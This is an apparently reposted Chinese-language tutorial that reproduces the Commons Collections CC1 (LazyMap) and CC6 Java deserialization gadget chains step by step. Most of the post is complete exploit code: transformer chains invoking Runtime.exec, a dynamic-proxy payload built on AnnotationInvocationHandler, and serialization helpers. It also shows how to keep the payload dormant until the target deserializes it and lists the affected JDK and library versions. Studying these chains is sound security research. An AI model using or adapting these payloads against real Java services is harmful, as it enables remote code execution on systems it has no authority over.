赞
踩
原版的CC1链:
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java
可以发现对比之前的 TransformMap版本的CC1链,从这里开始就不一样了
直接进入到LazyMap类去分析get方法
可以发现transfor方法和之前的 InvokerTransformer类中的transfor方法很是相似
java中父类可以调用子类的方法
这个时候追踪这个 factory 方法的来源
这里是可控的,就不细说了,类似TransformedMapCC1链的方法
编写Exp代码
import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class CC1LazyMap { public static void main(String[] args) throws Exception{ Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); HashMap<Object, Object> hashMap = new HashMap<>(); Map lazymap = LazyMap.decorate(hashMap, invokerTransformer); Class<LazyMap> lazyMapClass = LazyMap.class; Method get = lazyMapClass.getMethod("get", Object.class); get.invoke(lazymap,r); } }
运行之后可以看见命令执行成功,说明了这条链是可行的
利用一个叫 ChainedTransformer的方法,进行简写刚刚的反射代码
import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class CC1LazyMap { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); Map lazymap = LazyMap.decorate(hashMap, chainedTransformer); Class<LazyMap> lazyMapClass = LazyMap.class; Method get = lazyMapClass.getMethod("get", Object.class); get.invoke(lazymap,chainedTransformer); } }
我们知道LazyMap使用的是get方法,然后我们在AnnotationInvocationHandler类中找到了get方法的使用,其中get方法还是在invoke方法里
构造exp代码,我们可以控制 memberValues.get(member) 中的memberValues变量
这个类还继承了InvocationHandler接口类,它是代理实例的调用处理程序实现的接口
这意味着我们可以通过动态代理调用invoke方法
代理的对象且实例化代码
InvocationHandler aih = (InvocationHandler) aihConstructor.newInstance(Override.class, lazymap);
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, aih);
InvocationHandler o = (InvocationHandler) aihConstructor.newInstance(Override.class, proxyMap);
最终exp代码:
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.List; import java.util.Map; public class CC1LazyMap { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); Map lazymap = LazyMap.decorate(hashMap, chainedTransformer); Class<LazyMap> lazyMapClass = LazyMap.class; // Method get = lazyMapClass.getMethod("get", Object.class); // get.invoke(lazymap,chainedTransformer); Class<?> a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> aihConstructor = a.getDeclaredConstructor(Class.class, Map.class); aihConstructor.setAccessible(true); //转InvocationHandler类型是为了能够调用处理程序实现的接口 InvocationHandler aih = (InvocationHandler) aihConstructor.newInstance(Override.class, lazymap); Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, aih); InvocationHandler o = (InvocationHandler) aihConstructor.newInstance(Override.class, proxyMap); serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
成功命令执行
低版本可以使用,如8u65,高版本jdk8u71就不能利用了。通过动态代理利用invoke方法,实现可控方法。
官方的CC6链Payload:
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections6.java
对比CC1链就是这里不同
\
xxx.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()
我们可以从LazyMap.get()的上一层链子 TiedMapEntry 开始复现
可以发现TiedMapEntry的构造方法
再找到这个类的getValue方法,这个方法会调用map.get(key)方法。也就是说我们可以将构造好的lazymap的恶意内容放入到这里
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.util.HashMap; import java.util.Map; public class CC6 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); Map lazymap = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null); tiedMapEntry.getValue(); } }
可以看见命令执行成功
代码理解,看图
这里需要应该key,那么随便给一个,这里给了一个null空值。
在这里可以发现,hashcode()方法调用了getValue()的方法
在 Java 反序列化当中,看见了 hashCode()后基本用这一条:
hashMap.put(Object key,Object value);
我们将 tiedMapEntry变量带入到 key中,然后value随便给
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.util.HashMap; import java.util.Map; public class CC6 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); Map lazymap = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null); hashMap.put(tiedMapEntry,null); } }
运行代码之后可以看见命令执行
put自动执行了hashCode,相当于调用了getValue方法
序列化与反序列化代码:
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
我们知道在序列化执行命令执行是错误的,目标是为了服务器在反序列化对象的时候才能够命令执行。所以我们需要在序列化之前修改代码让它不执行命令,再反序列化的时候能够命令执行。
protected final Transformer factory;
在执行命令之前,修改这行代码,让它不能命令执行
Map lazymap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
后面操作LazayMap的class,进行反射操作factory字段名
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,chainedTransformer);
类的类型为lazymap,字段名为chainedTransformer
从而构造exp为以下:
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class CC6 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); Map lazymap = LazyMap.decorate(hashMap, new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null); hashMap.put(tiedMapEntry,null); Class<LazyMap> lazyMapClass = LazyMap.class; Field factory = lazyMapClass.getDeclaredField("factory"); factory.setAccessible(true); factory.set(lazymap,chainedTransformer); serialize(hashMap); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
但是还不能执行命令
来到LazyMap 的 get 方法中,可以看见如果key为false,就会调用这个 factory.transform()方法
所以我们要删除map类型里面的key值内容,让它为false。
在xx.put()下添加这行代码:
hashMap.remove(null);
从而构造最终exp代码:
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class CC6 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); Map lazymap = LazyMap.decorate(hashMap, new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null); hashMap.put(tiedMapEntry,null); hashMap.remove(null);//也可以修改为lazymap,null改为任意字符都可以 Class<LazyMap> lazyMapClass = LazyMap.class; Field factory = lazyMapClass.getDeclaredField("factory"); factory.setAccessible(true); factory.set(lazymap,chainedTransformer); //serialize(hashMap); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
序列化代码后,只进行反序列化ser.bin文件,可以看见命令执行成功
总的流程应该是:CC1+URLDNS(异曲同工)
这条CC6链的好处是JDK版本不受限制,但是仅限于 是commons-collections 3.2.1的版本或低于它的版本。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。